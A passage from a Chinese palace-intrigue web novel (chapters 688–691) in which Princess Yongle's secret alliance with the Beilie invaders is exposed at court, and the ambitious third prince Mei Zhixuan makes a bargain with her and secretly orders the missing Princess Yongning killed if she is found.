“真的是她!” “可她怎么会与西秦秦王那般的大人物有如此交情,甚至就连秦王妃,秦王轩辕翰的枕边人亦都办不到的事情,他却办到了。” “这到底是怎么回事?” 壮汉听着,忽然吃惊地道:“你们不会还都不知道吧?你们的永乐公主早就已经……” 第六百八十八章:关于麻黄的真相(二) 大殿之上,一片鸦雀无声。 似无一人不屏住了呼吸在翘首期盼着,眼前这不知从何而来的一名壮汉,今日所带来的接二连三,却是一桩桩,一件件俱都无比震惊了整个朝野的消息,接下来又是多么惊人的一件时。 眼看着自己的秘密就要暴露,就在这关键时刻,沉默了许久的梅汐媛终于按捺不住再次开了口,及时打断那壮汉。 愤怒地说:“还不赶快给本公主闭嘴!你这犹如丧家之犬的蛮夷之地的野蛮人在此胡说什么?!” 这时,殿前的陆远似是早已预料到这一幕,于是便开口问说:“奇怪,陆某尚还未曾介绍,公主怎么就已知道他们是北烈国人?” 梅汐媛这才意识到自己做贼心虚,一时情急之下,居然被人下套,说错了话,遂目光急急躲闪着,不知该如何解释:“我……” 陆远毫不犹豫地继续追问:“莫非公主早就与他们互相熟识?” 梅汐媛轻蔑地瞟了那几人一眼,说:“放肆,本公主金枝玉叶,怎会识得这种泼皮无赖?” 顿了顿,继而解释说:“看他们个个殿前这般没规没矩,如此不识礼数,长相又颇为凶悍,一看便知是北烈游牧民族之人。” 说完那四名壮汉,梅汐媛竟忽地将目光落在陆远的脸上,愤愤道:“还有你?” 陆远始终都保持自己一如既往的沉着与冷静。 梅汐媛却又在陆远的身上找起了茬来,试图掩盖自己的把柄。 “你虽身为龙虎城少城主,可亦日后只不过最多乃一城之主,为何到了殿前亦不跪拜。难不成,你想伙同这些北烈的亡命之徒造反吗?” 这时,梅志煊徐徐开口,说:“是本皇子特赐他可以在殿前不用跪拜的。他是永宁公主所嘱托之人,有永宁公主的令牌。他不但可以殿前不跪拜,且还能随意进出宫门,还可以不受任何约束进出大殿。” 想起那时疫情的局势,梅志煊明显到现在还后怕着:“大疫发生,流民乱窜。若不是陆远及时封城,疫情将会蔓延至东宁国的角角落落,届时,整个东宁国怕都将会不复存在。没有他的付出,便不会有现在的东宁。” 说完,又命令殿前的陆远,说:“陆远,你继续说。” “你们听到了吗?三皇子命令你们继续说……” 而陆远,却朝着那四名壮汉命令道。 “你们敢?”届时,梅汐媛依旧怒目威胁那四人。 壮汉丝毫不惧怕她。 瞟了她一眼,忽然故意提高了声音,自顾自开口道:“你们不会还不知道,你们的永乐公主,早就已经被秦王轩辕翰给休了……” 闻此,一时之间,满朝文武在大殿上炸开了锅。 “什么?” “公主被休了?” “这是什么时候的事?” “怎么一点儿风声都没有。” “看来公主一定是不得秦王青睐” “可那也不能单方面就将公主给休了呀。” “这秦王如此行事,岂不是公然破坏东宁与西秦两国的联姻吗?” “秦王这分明就是不将我东宁国放在眼里啊。” “可恶,真是太可恶了。” …… 一时之间,看到大家众说纷纭。 那乍出这一消息来的壮汉,却似是对自己的表演颇为满意。 不禁对梅汐媛挑衅极了地吐了吐舌头。 接着又做了个鬼脸,道:“我已经说了,你能把我怎么样?有本事让人现在就杀了我呀?哎呦,我好怕怕呀。” 顶着被这满朝元老议论和耻笑的巨大压力,生怕那些人会继续说出自己再多的事情。 于是,梅汐媛先怒了起来:“住嘴,你若是再敢说下去,本公主一定命人将你的舌头割下来拿去喂狗,让你这辈子都再也说不了话。杀了你们,岂不是便宜了你们,本公主一定要将你们千刀万剐。” 那壮汉却似更加理直气壮了:“你让人来割呀?” 索性还自己要求:“要不公主殿下你亲自来剐?我就在这里站着呢。” “你……” 被人如此挑衅,她公主的颜面何在? 可显然,在这大殿上,梅汐媛自是亦同梅志豪一样,什么都做不了,亦决定不了。 这时,群臣又开始议论起这几名壮汉来。 “他们究竟是什么人?” “怎么知道公主这么多事情?” “看起来,永乐公主似乎很是不喜欢他们。” 闻此,陆远便向众人解释说:“他们四个,便是抢了永宁公主从西秦为龙虎城所寻到的麻黄的北烈人的四个首领。” 梅志煊终于明白了过来,道:“陆远你是说,替永乐公主劫了永宁公主从西秦所寻回的麻黄的人是北烈人。所以说,永乐公主与北烈人合作了?” 这时,那壮汉轻笑了一声,道:“永乐公主的野心,可是大了去了。” 梅汐媛简直气疯了:“你闭嘴,早就应该知道你们都是些背信弃义的无耻之徒。” 壮汉依旧认真地说着:“公主,你当时跟我们大皇子结盟的时候可并不是这么说我们的。” 另一壮汉附和着:“对呀,对呀,当时公主在西秦被赶出秦王府,走投无路,可是将咱们当自己兄弟呢,还说若是咱们兄弟助你成事,到时候想要什么,便就会有什么的。” 一时之间,四名壮汉便就你一句我一句地说了起来。 “是啊是啊,公主你可不能过河拆桥呀,如今大皇子还在等你的消息呢。” “如果大皇子知道了公主反悔了当时的盟约,不知会怎么样呢?” “咱们大皇子的手段,可是整个灵空大陆上出了名的残忍。” “哎呦喂,啧啧啧……” 没想到自己带来的两个污点证人,如今却联合着陆远带来的两个同党,反咬自己一口。 再一想拓跋泽的凶残,梅汐媛不禁被吓得默默吞下一口口水。 “你们都胡说什么?什么大皇子?谁承诺过你们这些?休在此胡说八道。” 偷鸡不成蚀把米,梅汐媛显然怎么都没想到会有今日这一幕。 可她总不能就这样坐以待毙着,总要做点什么,哪怕是垂死挣扎呢…… 然事已至此,明眼人都已明白了这一切。 梅志煊的眼里,早已是满满的怒火冲天,随即命令殿前的侍卫道:“来人!永乐公主不能为国分忧,讨得秦王欢心,尔今被遣回国,有损我国颜面;且还妄想诬蔑永宁公主,并与外国通敌欲谋反,现禁足在其自己的宫殿里,待查明一切后绝不姑息。在此期间,不得本皇子允许,不得出宫门半步。” “不” “你们不能这样对待本公主?” “本公主为了东宁,不惜都将自己的一生幸福都葬送了。” “你们不能把我弃之如敝履。” “不能把我关起来。” 看到两名带刀侍卫进来,梅汐媛终于慌了。 “放开” “你们放开我” “我是尊贵的永乐公主。” “你们这些狗奴才,竟敢如此对我。” “我一定要扒了你们的皮……” 就这样,众目睽睽之下,生来就骄傲的永乐公主梅汐媛最终还是被人架着胳膊拖了下去。 不管她再如何嘶吼,亦是毫无用处。 只留下像是还没弄清楚,到底发生了什么的梅志豪瑟瑟发抖着,立在殿前,不知此时自己该如何离去? 就在这时,梅志煊复又将目光转移,看向了梅志豪的脸上,问了句:“怎么,你还不打算走吗?莫不是还不嫌丢人现眼?亦想让人进来请你走吗?” 闻此,梅志豪居然被吓得抖了一下肩,继而留下了狠狠的一句:“你给我等着!” 之后,便扬起衣袖,夹着尾巴快步离去。 这时,梅志煊扬起笑脸来,赞许道:“陆远,你做得很好,如果不是你,永宁公主怕是就要真的被人诬陷了。” 就在陆远正想开口说话时,殿前有人弱弱地发声说:“可无论如何,我们的公主就这么被人给休了,难道我们就这样忍气吞声了吗?” 陆远说:“永乐公主实属自取其辱,听闻在西秦时,屡屡针对永宁公主,早晚有一天,都会被那秦王轩辕翰休了的。” 顿了顿,似是有许多遗憾,可又只能接受,陆远继续说:“而且,如今的秦王妃,亦是我们的公主。如果真要追究,怕是对公主亦不利。” 众人听闻,再一次惊声不断。 “什么?” “如今的秦王妃,亦是我们的公主。” “少城主的意思莫非是,永宁公主又成了秦王妃。” “这到底是怎么回事?” 陆远说:“是公主,她为了能救下龙虎城,便用自己与秦王府做交易,索性听说秦王待我们公主极好,这才换回了那拯救了整座城的十几车麻黄。不成想,却在押送至龙虎城的半途中,被与拓跋泽结盟了的永乐公主使计下毒劫了胡。” “原来是这样的。” 至此,关于这批麻黄的真相,终于大白天下,殿内再次恢复了一室寂静。 梅志煊便关切地问陆远:“那就是说,现在永宁公主已经找到了?他在西秦秦王的府邸?” 闻此,陆远的面色忽然变得忧郁起来:“不,公主她,失踪了。” “失踪了,这是怎么回事?” 众人听闻,即刻纷纷面面相觑着。 陆远随之心情亦越来越沉重,回忆着说:“西秦至西,有个叫觻县的地方,前不久发生了一场历史上最严重的一次飓风沙暴。公主当时自愿去那里带领当地百姓治沙,便就刚好遭遇了那场沙暴,被沙暴……” 第六百八十九章:放你,想都别想 顿了顿,虽然至今都令他很难接受,可陆远还是觉得应该将事实真相公布于众。 于是心一横,便隐忍着许久以来心头莫大的悲伤说:“公主被觻县的那场飓风沙暴卷走了。” 霎时间,得知如此骇人听闻的消息,大殿上的众人复又开始交头接耳,议论纷纷起来。 “什么?” “公主被飓风沙暴卷走了?” “听闻那可是西秦历史上最强的一次飓风沙暴了。” “公主区区一弱女子,怎能敌得过沙暴的袭击。” “难不成……” “会不会……” “公主她已经……” 就在人群里渐渐有人压低了声音,怀疑衣上云已然遇难的时候。 陆远亦随之慢慢握紧了藏在衣袖下的一双拳头,发出一冷厉的声音来。 “她不会!” 闻此,所有人,包括一直高高在上坐着的梅志煊,不约而同地看向了陆远所在的位置。 许久以来,哪怕身边所有人都认定了被那飓风沙暴卷入必死无疑,可只有陆远始终都坚信,衣上云绝对是世人那个唯一奇迹的存在。 “公主不会死。” “她一定还活着。” “她只是迷失是在这世间的某一个角落里,找不到回家的路了而已。” “我一定会亲自将她找回来。” “东宁,没有谁都可以,唯独不能没了永宁公主。” 听闻如此决心,梅志煊瞬间被惊到。 一直以来,他之所以有些忌惮陆远。 并不单单只是因为他是衣上云离开时,最后所嘱托守住这座城,这个国的人。 亦不是因为大疫当前,陆远果断决定封锁了龙虎城全城,方才将死亡全部封在了城内,而并未波及到周边其他城池。 实则乃是因为,龙虎城地理位置特殊,乃东宁国国门之所在。 每每与人交战,龙虎城都将成为兵家必争之地。 倘若国门不保,敌国一破门,便将长驱直入。 而现今,放眼整个朝堂,却唯有龙虎城城主府有能力守住这道门。 为此,梅志煊实属无奈,可又无计可施。 没想到,衣上云只不过一女子,竟能让陆远这样的人,心甘情愿为她做任何事情。 看来,想要得到这样的人的助力,自己也是时候要做些什么了! 于是,梅志煊终于开了口。 附和说:“少城主说得对,永宁公主身份尊贵,自有我皇族列祖列宗在天之灵的庇护,怎可能如此轻易便就被一场沙暴夺去了性命,本皇子亦不能信。” 闻此长久以来,第一个与自己想法一样,相信衣上云还活着的人。 果然,陆远心里微微起了一丝变化,遂看向梅志煊的脸,道:“三皇子殿下……” 梅志煊稍加思量,紧接着又说:“本皇子马上调集宫内一等一的高手启程,助力少城主去西秦寻回永宁。还望少城主不负本皇子所托,务必一定要将永宁公主找回来。” 一时间,陆远的信心更是加了几分,道:“陆远早就派人潜伏在西秦,着力寻找公主的下落,只可惜直到现在还没有任何进展。” 梅志煊道:“皇天庇护,永宁一定会没事,相信她定能平平安安地回来。” “公主,等我……” 一出宫门,陆远便信心满满地带着一队精良的皇家侍卫向着西秦方向出发。 一下朝。 梅志煊便径直独自来到了轩辕玥的宫殿。 一进门,看到只有轩辕玥一人独自在婢女锦兰的陪伴下,在院子里亲自摆弄着一些花花草草。 锦兰一瞥见梅志煊走了过来,正想屈膝朝其行礼。 梅志煊赶忙嘘声将其阻止,锦兰便抿嘴笑了笑,小心翼翼地退了下去。 梅志煊于是缓缓上前,从身后将轩辕玥的腰身圈住。 轩辕玥顿惊了一下,道:“这大白天的,殿下这是做什么?这里还有外人呢!” 梅志煊在她的肩头轻轻蹭了蹭,说:“这儿哪里还有什么外人,本皇子早就将锦兰支开了!” 说着,遂又朝院内四周扫了一圈,问:“海儿呢?” 轩辕玥继续着手里修剪花枝的动作,想了想,道:“近日天气没有前几日那么闷了,许是用完早膳,嬷嬷带去园子里给消食了吧!这段日子,小家伙应是整日在殿内憋坏了……” 感觉到梅志煊整个人眉飞色舞,似乎心情很好,轩辕玥问:“殿下今日怎的如此高兴,可是有什么好事发生?” 梅志煊缓缓伸出手去,将轩辕玥手里的剪刀收了起来。 继而拉起她的手,俩人一同朝寝殿内走了进去。 梅志煊将今日早朝上所发生的这些事,一五一十地告诉了轩辕玥。 一边替其褪去朝服,一边听着梅志煊的话,不知不觉,轩辕玥居然陷入了自己的沉思中。 “没想到,终究这件事,还是没能瞒得住,他还是知道了云儿已与秦皇叔大婚的消息。” “既然如今他都已经知道了,那他会怎么做呢?” …… 梅志煊忽然意识到她的心不在焉,便在其耳边唤了两声:“玥儿,玥儿……” 闻此,轩辕玥忽地回过神来,应了一声“殿下……” “玥儿你怎么了?”梅志煊不解地问。 轩辕玥笑了笑,道:“没什么,玥儿就是觉得像秦皇叔那样冷漠寡言的人,居然也动了凡心,玥儿觉得有些意外。看来永宁公主,的确非同一般女子。而永乐公主,那是她咎由自取,怨不得别人,殿下做得对。” 这时,梅志煊忽然试探起轩辕玥,问:“玥儿,这件事,难道你真的一点儿也不知道吗?” 闻此,轩辕玥顿时反应了过来,有些生气地盯视着他的眼睛反问:“殿下这是在怀疑玥儿?” 梅志煊的目光,明显有些不经意的躲闪。 轩辕玥道:“玥儿与母后之间的书信往来,一向都是只谈及些母女之间的贴己话,还有些平日里很平常不过的问候而已。殿下若是不信,玥儿这便就去拿来给殿下亲自一一过目查看便是!” 说着,轩辕玥便欲朝着梳妆台前踱步过去取信。 见此,梅志煊一把将其拽了回来紧紧拥在自己的怀里:“玥儿……” 并对其说明:“我不是那个意思……” 梅志煊似是至今都不敢相信:“我只是真没想到,这秦王轩辕翰竟会对永宁情有独钟!不惜冒着破坏两国联姻的大罪,亦要将永乐休了遣回国。幸好是永宁,如果他的新王妃不是永宁,我东宁定不会咽下这口气。” 看到轩辕玥在自己的怀中依旧气呼呼地挣扎着,梅志煊遂将怀抱再次紧了紧,不给她任何一丝挣脱的机会。 赶忙朝其致歉:“好了好了,对不起,是我的错,都是我的错,是我不该怀疑你……” 轩辕玥回想这些年的点点滴滴,不禁发出一阵感慨:“你知不知道,这些年,你总是这样疑神疑鬼,我真的很累!” 顿了顿,不想忽然乍出了一句:“不如,你也放了我吧!” 梅志煊许是真的始料未及,轩辕玥竟然会说出这样的话来。 于是将她的身子转了过来,面对着自己,再次认真地问了句:“你说什么?” 轩辕玥咬了咬牙,复又重复了一次:“我说,不如,殿下你也放我回国吧!” 一时间,梅志煊似是都不敢相信自己的耳朵,忍不住再次朝其确认了一遍:“你再说一次……” 轩辕玥仿佛就连自己也不知道,这会儿她是从哪儿来的这股勇气,又许是一直以来,真的压抑了太久。 便真的再次开了口:“殿下……” 岂料这次,竟没有等她开口将这句话说完,梅志煊居然一把将其腰身圈住紧紧地贴在自己身上,狠狠道:“放你,想都别想。” 说完,便一吻封唇。 “嗯……”轩辕玥遂发出一阵闷哼声。 起初,她还挣扎着想用力挣脱其束缚。 可很快,便被他那股霸道的男子气息彻底征服,并渐渐回应起他来。 寂静的殿内,阵阵微风拂过,洁白的轻纱扬起又落下。 几番云雨过后,俩人俱都疲惫地睡了过去。 不知过了多久,当轩辕玥徐徐睁开眼睛的时候,梅志煊早已离开,不在自己身边。 殿内,烛火惺忪。 却没有听到海儿和下人的声音,轩辕玥便自己起来。 一走出寝殿,门口的锦兰问候道:“公主醒了?” 轩辕玥一看天色,责怪起她来:“这天都已经黑了,你怎么也不进去叫醒我,海儿呢?” 锦兰答曰:“三皇子带小殿下过去书房亲自授晚课了!离开时,还特意交待让奴婢不要进去打扰公主歇息,说公主今儿晚上还将会更辛苦,让公主多睡会儿!” 闻此,轩辕玥顿现满脸潮红,心里道:“这都是些什么虎狼之词,把这些未经人事的小丫头都带坏了!” 遂转身便朝殿内再次回去。 门外的锦兰吩咐一旁的侍女说:“快去准备些晚膳过来!” 继而,亦追随着轩辕玥回到了殿内,从身上摸出一封信来说:“对了,这是傍晚时分刚刚收到的来自皇后娘娘给公主的家书!” 轩辕玥将其从锦兰的手中接过来打开一看,顿时瞪大了眼睛惊呆了…… 第六百九十章:你们之间是什么情份? 看到轩辕玥的脸色忽然变得一片煞白,十分难看。 正在整理方才凌乱的床榻的锦兰紧张地问:“公主怎么了?可是西秦有什么不好的消息传来?” 轩辕玥直觉自己的心跳顿停了一下,双腿似是顷刻间亦失去了控制,寻不到一丝支撑她的力量。 遂一屁股跌坐在殿内的软榻上,一只手扶着额头,黯然失魂般弱弱地声音说:“大事不好了,母后传来消息说,秦王妃薨了!” “秦王妃?” 锦兰急急回忆着,今日很快便传遍了整个皇宫的消息,永乐公主已经回国,那这个秦王妃,便只有…… 顿时反应过来,却是不敢相信惊谔极了地道:“公主是说,永宁公主,她死在了西秦!” 闻此,轩辕玥的心更加沉重了几分:“是城西衣府家主衣上坤亲自到秦王府向秦皇叔报的丧。” 想着上午梅志煊亲口刚刚告诉自己的消息,对此显然亦是颇为疑惑:“母妃信里说,秦王妃是因为一些日常琐事与秦皇叔发生了争执,离家出走才导致意外发生的。而且,秦王府已经置丧了,想必一切都是真的……” 锦兰回忆着摇摇头,道:“不对啊,据说今日那个龙虎城少城主陆远不是说秦王妃只是被觻县的飓风沙暴卷走,失踪了吗?” 轩辕玥想了想,若有所思地说:“云儿虽然机智聪慧,可再怎么说,她亦是凡胎肉体之身。或许,那也只是陆远一个人不愿面对的自我坚持而已,你难道看不出,那个少城主对云儿的心思吗?” 锦兰停下了手里的动作,自言自语道:“这……这可如何是好?!” 显然,就连锦兰都十分明了眼前的局势:“听说今日早朝,朝中大臣还颇为不满永乐公主遭秦王休弃,势要向西秦讨个说法。幸好新的秦王妃是永宁公主,且闻秦王待她极好,并对龙虎城施以援手,也算是帮了东宁一次,这才没有将事情闹大。” 顿了顿,锦兰继续说:“现如今,如果朝堂上得知刚刚立下如此一大功的永宁公主死在了西秦,那永宁公主深得民心,又颇受群臣拥护,可绝不似永乐公主。如此一来,那东宁和西秦两国……岂不就开战在即了吗?” 锦兰似是想都不敢继续往下想去:“那我们又该怎么办?” 就连锦兰都能认识到的已然迫在眉睫的危急局势,轩辕玥心里又怎会不比她更清楚。 可她心里此刻却更是五味杂陈。 衣上云,对她而言,说到底,无疑是她生命里极其重要的人。 可她们之间,无论是在西秦,亦或是如今的东宁,甚至都还从未来得及好好道个别,她竟就这样悄无声息地死了?! 这让她如何接受? …… 看到轩辕玥独自陷入在自己的沉思中久久醒不过来,锦兰着急地声声呼唤她。 “公主……” “公主……” “你可有听到奴婢所说的话了吗?” 直到听闻一阵脚步声由远及近,缓缓传入耳畔,轩辕玥方才忽地警觉醒过神来。 “嘘……” “小声点儿!” “有人来了!” 于是嘘声,赶忙压低声音制止锦兰:“此事千万不可泄露出去,否则就真的要天下大乱了。” 锦兰频频点头,动作颇为熟练地上前接过轩辕玥手里的信,走到一边很快便将其在蜡烛上点燃。 所有动作,一气呵成。 恰时,梅志煊便抱着儿子踱步跨门走了进来。 他隐隐听到俩人在殿内的谈话,进门便问:“你们在说什么,什么天下大乱?” 闻声,轩辕玥努力隐忍着心中的紧张,赶忙起来过去欲朝其屈膝行礼:“殿下……” 梅志煊一把抱着海儿,一把将其扶住制止,遂一看向她的脸,关切极了地问:“你怎么了?为何脸色如此难看?” “咳咳……” 闻此,轩辕玥即刻掏出丝帕来,遮掩起嘴唇,佯装着发出了两声轻咳。 尔后说:“想必是刚刚入了秋,没注意染了风寒,无碍。” 遂赶忙支走了立在一旁明显有些不知所措的锦兰,道:“锦兰,夜深了,赶快将小殿下抱去给奶娘沐浴,早点安置休息吧!记得该换床厚点儿的被褥。” “是!”锦兰答应着,赶忙上前将海儿从梅志煊的手里接走离开。 看着锦兰明显有些神色匆匆地离去,梅志煊却是不依不饶,继续追问:“你们方才在说什么天下大乱?” 届时,婢女送上来几碟小菜和热粥。 轩辕玥故作镇定地替梅志煊盛了一份,双手递了上去。 随后缓缓道:“其实也没什么,玥儿只是亦同陆少城主一样想,这次若不是永宁公主替代了永乐公主讨得了秦皇叔欢心,龙虎城怕是很难得到足够多的麻黄药材,如此一来,怕是真的就要天下大乱了。” 眼看着梅志煊听完自己的解释,慢慢咽下了一汤匙热粥,似是已然相信了自己的说辞。 犹犹豫豫之间,轩辕玥紧接着又开始试探了起来。 “殿下……” “陆远,他真的能从西秦寻回永宁公主吗?” “倘若……” “如果……” “玥儿是说如果……” “万一永宁公主真的在觻县的那场飓风沙暴里遇难了,殿下会怎么做?” 闻此,梅志煊顿停下手里的动作,想了想。 说了句:“那陆远今日在朝堂上说,东宁可以没有任何人,唯独不能没有永宁。早晚有一日,本皇子会让他亲眼看到,事实并非他所说的这般。只有本皇子,才是这片大陆唯一的存在。” 顿了顿,忽看向轩辕玥的眼睛,认真极了地又补了句:“天下大乱,那是早晚的事。” 一时间,俩人四目相对。 殿内,烛火惺忪,晚风轻拂过脸庞。 梅志煊缓缓向着轩辕玥温软的唇边靠近了过去。 翌日,天刚亮。 一抹微光,透过窗棂射入到殿内的地板上。 梅志煊便习惯性地睁开了眼睛来。 唯恐吵醒了怀里尚还在熟睡着的轩辕玥,梅志煊便小心翼翼地侧身缓缓抽出了自己被压在她脖颈下的一只胳膊。 继而又再次习惯性地在轩辕玥光洁的额头上落下轻轻的一吻,方才掀开身上的锦被起身下了榻。 蹑手蹑脚地走出了殿门。 嘱咐门口守夜的婢女:“不要让人进殿去打扰,让她多睡会儿!” “是!”俩婢女答应道。 这时,有一侍卫脚步匆匆地赶了过来,朝其禀报:“启禀殿下,永乐公主又是不吃不喝,又是砸东西的,闹腾了一夜,执意要见殿下您一面?” 梅志煊听了,一边走,一边冷冷地道:“没用的蠢女人,念在儿时的情分上,本皇子留她一命已是仁至义尽。不见!” 侍卫紧接着又道:“可永乐公主说,她有个交易,殿下您一定感兴趣!” “这个笨女人,我早就已经警告过她了,如今都已穷途末路了,还想耍什么花招?妄想做垂死的挣扎。” 梅志煊心里想了想,终于还是决定去见她一面:“走!” 过去的一天一夜。 梅汐媛想了许多,也想了许久。 最后不吃不喝,只想着一定得再见梅志煊一面。 因为她实在不甘心,自己卧薪尝胆,忍辱负重,好不容易熬到回国,居然就这样认输了。 没想到事情到最后一步,居然被半路杀出个程咬金的陆远给坏事儿了。 此刻,她显然懊恼极了。 “这些蛮夷之邦的野蛮人,果然个个不讲信誉。” “被那城主府稍稍一乍,便就什么都招了。” “当初没有来得及把送药的人换成自己人,便就让他们这样进了城,而使人起了疑心,当真是大意了!” “不过,或许,他们还能有其他用处……” “即便就是死,本公主也一定要拉上个垫背的。” 正思量着,忽听到熟悉的脚步声传来。 梅汐媛忽地扬起一抹笑容,自言自语道:“我就知道,你一定会来见我的。” 梅志煊一进门,便盛气凌人地说:“说吧,本皇子给你的时间并不多!” 梅汐媛起身缓步来到他的身旁,警告他说:“这么多年,你还真是处心积虑呀!可你有没有想过,即便没有我和皇兄与你争,只要她活着,你的位置便永远都受她威胁!只要她想,便随时都可能替代你。” 梅志煊故作冷静地说:“是你自己蠢,那么长时间都俘获不了秦王的心,才让别人有机可乘。如今,竟又来挑拨我们之间的情份!” “哈哈……” “哈哈哈……” 梅汐媛听了,发出一阵笑声来,似是早已看透了梅志煊的用心,便道:“你们之间是什么情份?我又是不是挑拨,你自己心里难道不清楚吗?” 接着,又在殿内一边踱步,一边一字一顿地道。 “西秦秦王……” “南安太子……” “如今就连龙虎城少城主陆远,亦都成了她的裙下之臣!” “你说,你还怎么斗得过她?” 看到梅志煊沉默不语,悄悄握紧的双拳,梅汐媛知道自己成功了,于是便说:“我可以帮你……” 梅志煊瞥了她一眼,不屑极了地道:“就凭你?!” 第六百九十一章:你想与我平分? “就凭你?!” 面对梅志煊轻蔑的质问声,梅汐媛付之一笑。 尔后缓缓说:“我一个弱女子,生来便就注定既上不了朝堂为君王分忧,更到不了战场为自己立下军功,自是没有这个能力。但是,三皇兄可还记得北烈国大皇子拓跋泽……” 闻此,梅志煊不禁真的心中为此顿惊了一下,问:“你是说,北烈大皇子拓跋泽……还活着?” 梅汐媛见梅志煊果然对自己拿出的这个筹码颇感兴趣,于是继续说道:“世人皆知,北烈国大皇子心狠手辣,又勇猛善战,北烈的战马更是灵空大陆上无人能敌。可他如今却可谓是真正的国破家亡,犹如一条丧家之犬,但即便如此,他却还一心想着复仇,夺回属于他的草原之地!不知,如果能得到他的助力,三皇兄认为,自己会不会更有胜算呢?!” 梅志煊遂一暗自琢磨,便即刻着急地追问:“你……你不会知道拓跋泽的下落吧?” 梅汐媛朝他哼笑了一声,道:“我当然知道,不然怎会是北烈人替我打劫送那批麻黄到龙虎城,我又如何与你谈今日这场交易?” 顿了顿,她忽然俯身下去,朝着梅志煊耳语了起来。 片刻之后,似是对梅汐媛的计划颇为满意。 待到她再次直起身来,梅志煊又问她:“既然这是一场交易,你告诉我这一切,那又想从本皇子这里得到什么?” 梅汐媛深深地吐了口浊气,想了想,在心里问自己:“我想要什么?” 原本,她以为自己拥有这世间美好的一切。 疼爱自己的父皇母后、尊贵无比的公主身份、无忧无虑,锦衣玉食的生活。 待她长成,便唯独想要一个能与自己匹配,令世间所有女子艳羡不已的完美夫婿。 直到秦王轩辕翰的出现,他几乎满足她对理想夫婿的所有幻想标准。 于是她不远万里,满心欢喜地朝着他奔去。 可怎么都没想到,换来的会是今天的结局! 而现在,似乎这辈子,她唯一想要却亦得到的,怕便亦就只是出生在帝王家了。 余下一切,显然皆都只因为衣上云的出现,全部都化为泡影。 她的骄傲,从此被人死死地踩在脚下,再也不得翻身。 只见梅汐媛若有所思着,最后其脸色愈来愈渐渐沉了下来,变得颇为冷厉,开口狠狠地道:“待到事成之后,衣上云那个贱人,一定要留给我亲自来处置。今日我所受到的一切屈辱,全都是拜她所赐,我一定要她千倍百倍的偿还。” 闻此,梅志煊似乎终于彻底明白了她心里的仇恨,却又觉得依照她的性子,所求的不应该仅仅如此,便又再次朝其确认:“仅此而已?!” 梅汐媛深吸口气,清了清嗓子,又道:“其实,这个皇位一开始,我们也不是一定要跟你争。只要你愿意将城东和城南两地分封出来给我们母子三人,我保证我们绝对息事宁人,再不与你相争。” 东宁国,向来都是得天独厚,城南地沃,城东沿海,更是商贾云集的海上繁花之地。 梅志煊见梅汐媛此刻显然是狮子大开口,遂心里默默地道:“果然,你这如意算盘打得也未免太精了些。” 于是顿了顿,笑着说:“原来,你并不是主动放弃,不与我争,而是想与我平分天下。” 梅汐媛故作惊讶地道:“皇兄怎么这么说?这怎么能叫平分?即便城南与城东两地分封出来,可每年需要缴给朝廷的那一份,我们自是亦一分都不会少的。” 梅志煊忽变一脸厉色,说:“人人皆知,我东宁之所以在灵空大陆上堪称富甲一方,靠的就是城南沃地盛产,城东商贾海上繁花。你让本皇子将这两地分封出来给你们母子三人,那本皇子岂不是坐吃山空,日后还靠什么来治理东宁?就靠你缴上来的那一丁点儿微不足道吗?” 眼看着自己的心思很快便就被拆穿,梅汐媛也丝毫不愿退让,不想与他妥协,更不愿再与其多说些什么。 于是便直截了当地说:“既然想玩,就得玩得起,付不起筹码,那就索性只能躲在自己固有的方寸里做个缩头乌龟,整日提心吊胆,等着被人替代好了。” 此话一出,一室寂静。 俩人俱都沉默了下来,再无一人说话。 时间,一分一秒的过去。 梅汐媛最后提醒他:“距离我与拓跋泽约定的时间可并不多了,如果时间到了,没有等到我的回复,到时他不但不会成为你的助力,还极有可能,会对我的反悔心生怨恨,不知会不会把东宁也当成了他报复的对象呢?到了时候,东宁岂不又多了一个敌人?!” “你……” 闻此,梅志煊愤怒极了。 遂再想了想,似乎只能干脆地答应了她:“好……成交!” 这一刻,梅汐媛心里眼里俱都得意极了。 于是马上出言,开始恭维起他来。 “这就对了嘛,如此干脆利落,才像是个一言九鼎的国君的样子!” “不过口说无凭,诏书还得麻烦三皇兄记得早些派人送过来哦。” “否则,若是拓跋泽生气了的话……” “三皇兄……” “那咱们……” “合作愉快……” 说到底,今日这场谈话,梅志煊此时终于算是明白了过来,原来是梅汐媛回国前便给自己挖下的一个大坑。 所有一切,一开始,自己便就根本没有选择的权力。 于是到最后,他怒火中烧着,从梅汐媛的宫殿里走了出来。 如影随行的侍卫问梅志煊:“殿下,永乐公主方才明显就是狮子大开口,殿下怎么能上她的当?那可是城南与城东的地啊……” 梅志煊气道:“本皇子总会不知?可眼下,无论如何都要先稳住了她。有的事,她说的的确没错。眼下,拓跋泽的确不失为一个好的助力,与其让他心生怨恨来对付我们,不如先为本皇子所用之。” 侍卫似是有些为难,吞吞吐吐地说:“可那诏书……” 梅志煊道:“给她便是!且看她母子三人日后能不能等到分封那一天,有没有命享用才是。” 听这一席话,侍卫顿明白了过来,急道:“属下明白了,属下这就让人去写诏书。” 此时被梅汐媛气的无比愤怒的梅志煊,已然仿佛走火入魔了一般,心里狠狠地道:“没有人能威胁得到本皇子,所有本皇子得不到的东西,宁愿让它毁灭,谁都别想得到!包括她……” 一念至此,遂命令身旁的侍卫:“去通知陆远带去的咱们的人,就说万一如果找到了永宁公主,便抢先悄悄处理掉,切忌,千万不能被陆远察觉。” 侍卫想了想,说:“那陆远一身逆鳞,根本不将殿下放在眼里,开口闭口都只是永宁公主,殿下为何不将他乘机亦一起处理掉?” 梅志煊一边走,一边想了想,道:“如今整个朝堂,因为只有本皇子相信并全力支持他寻回永宁,他已然对本皇子有了好感。想要守住东宁,并坐稳那个位置,龙虎城尤为关键,本皇子日后很长一段时间还得指着他呢!” 侍卫听了,顿反应过来,赶忙歉声道:“属下明白了,是属下疏忽了。” 这时,梅志煊忽然开口问:“对了,娘娘现在在做什么?” 侍卫回想片刻,道:“方才听锦兰说,好像娘娘的母国昨日又来信给娘娘了,想必这个时候娘娘正在回信吧。” 闻此,梅志煊顿足停了下来,转身朝侍卫再次确认:“回信……” 侍卫肯定地道:“是的,应该是在回信。” 梅志煊想了想,眼中忽然划过一丝怀疑,遂下令说:“走,去看看。” 此时,轩辕玥正伏在案上,手里握着一支笔出神,不知在想些什么? 已经一早上了,那支笔,提起,又被放下,放下,又再次被提起。 反反复复,不知已经多少次。 似乎至今只要一想到昨日那信的内容,她便就心神不宁。 时间已经过去了许久,至今却都不知该如何下笔? 锦兰在旁边一边替其研墨,一边问:“已经一个早上了,公主可是还没想好该如何回皇后娘娘的信吗?” 